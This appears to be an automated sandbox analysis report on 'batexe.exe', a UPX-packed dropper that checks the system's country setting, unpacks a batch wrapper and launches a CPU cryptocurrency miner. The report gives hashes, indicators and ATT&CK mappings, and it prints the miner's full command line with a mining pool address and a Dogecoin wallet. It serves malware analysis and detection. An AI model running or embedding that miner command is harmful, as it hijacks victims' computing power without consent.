73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20-02-2024 04:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3940	b2e.exe
3088	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3088	cpuminer-sse2.exe
3088	cpuminer-sse2.exe
3088	cpuminer-sse2.exe
3088	cpuminer-sse2.exe
3088	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5496-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5496 wrote to memory of 3940	5496	batexe.exe	84
PID 5496 wrote to memory of 3940	5496	batexe.exe	84
PID 5496 wrote to memory of 3940	5496	batexe.exe	84
PID 3940 wrote to memory of 1620	3940	b2e.exe	85
PID 3940 wrote to memory of 1620	3940	b2e.exe	85
PID 3940 wrote to memory of 1620	3940	b2e.exe	85
PID 1620 wrote to memory of 3088	1620	cmd.exe	88
PID 1620 wrote to memory of 3088	1620	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5496
- C:\Users\Admin\AppData\Local\Temp\5AF1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5AF1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5AF1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5DEF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5AF1.tmp\b2e.exe

Filesize
18.2MB

MD5
974f596fd92d1a0dc901f00b58072743

SHA1
a439003642adf81c10455a7367a261a05f2522a0

SHA256
3f367bf3597cdf284d66afa4dc24b59490a0d67ec12b60c222a81c7dfaafef64

SHA512
2fbea730f6727ef007042f06ed92baf68d110f3180ff43a1674111c93003ec2c5bd29b1c5e7e97828dcd913fb0489676c2ebc896c686e0e0bd577eadaaef36ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\5AF1.tmp\b2e.exe

Filesize
10.1MB

MD5
0bb027e79fd3a3a15231fc456af0996d

SHA1
76bbfdeb6472a8dd30c672043c58a4c9c74062fd

SHA256
ab1029dc04f8c8125f4fe23a1a12ee4ea0812d4ceb2aebab13907ffc2791e693

SHA512
1409bea5af0220f3462be616afe8dd5849e945fedcbeb738d70e60820ac04f9df1215717d65bd84c3beeeb560447eefdd43743e1792e6709d726d645979146b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5AF1.tmp\b2e.exe

Filesize
11.2MB

MD5
2a31dd8a3782d07978a708dd5ae69a2d

SHA1
7da96d94e742ba49992af71f79af7436fe95ac33

SHA256
203a0939cc858cd7250d0f6f614a3b7f9f83036cfa5d1c04650e45277f1e2de6

SHA512
82b46066e06449a2b58a884bcdd533f858a480da424cd07586a27831af9a0f7cc4c38fb73331b15f8b04d1d6c97eb4db97212e3b1add2e893d71e40cb2d87e47

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DEF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
14.0MB

MD5
fbc805871a56e2be82ac5845184b6e92

SHA1
1c00c08c867dcd68ff185edc2ce411d290d3020a

SHA256
ea38de001d00eabc07782c671daa3c05cab8c79b50e9cec628d8cca91012aa1b

SHA512
a2c4ce8cc32baaf7269e3ea96b34fde4d1741c133d775c117331c299d5b74f219cf5a6b9e1dc853873d9fe62a34d761eace9e2d8b19ffd10caccb99415c9cae6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.9MB

MD5
797fae8e5aacfc96223b43b6091ed08e

SHA1
dd24041d439a0eb4f90f1e0289979e4e777d71f2

SHA256
617857787fbc9c1fc1fae8e7e3250532ff943139193b86feae9c2160b822f65d

SHA512
3790d04c92f436c1f82bb3c5602b01a0e3194456e9c95cb1c43ebe8a442071acf8b1793a6b73cbdaa0699d6cf00979cfbf6c66278d5c5bd0f0b047a6684501ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.5MB

MD5
b4694777b658918ad84ff698d5161ec6

SHA1
ecb147292b18cef10a14b47ebc1710ca5df2dacf

SHA256
ff57bb13deb78d936d7f7d39a88c9241ea5bb8d22e7005d208093f80d8f2f79b

SHA512
3b42a152f8d4bba2477361595bed7e509a45f70364d780a50c2453c048e0a8c7a83e120a7222255a437b84242b3f5ebe2eecc502ab01235a813f1dd48532051f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3088-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3088-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-46-0x0000000064990000-0x0000000064A28000-memory.dmp

Filesize
608KB

Download
memory/3088-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3088-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3088-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3088-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3940-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3940-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5496-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download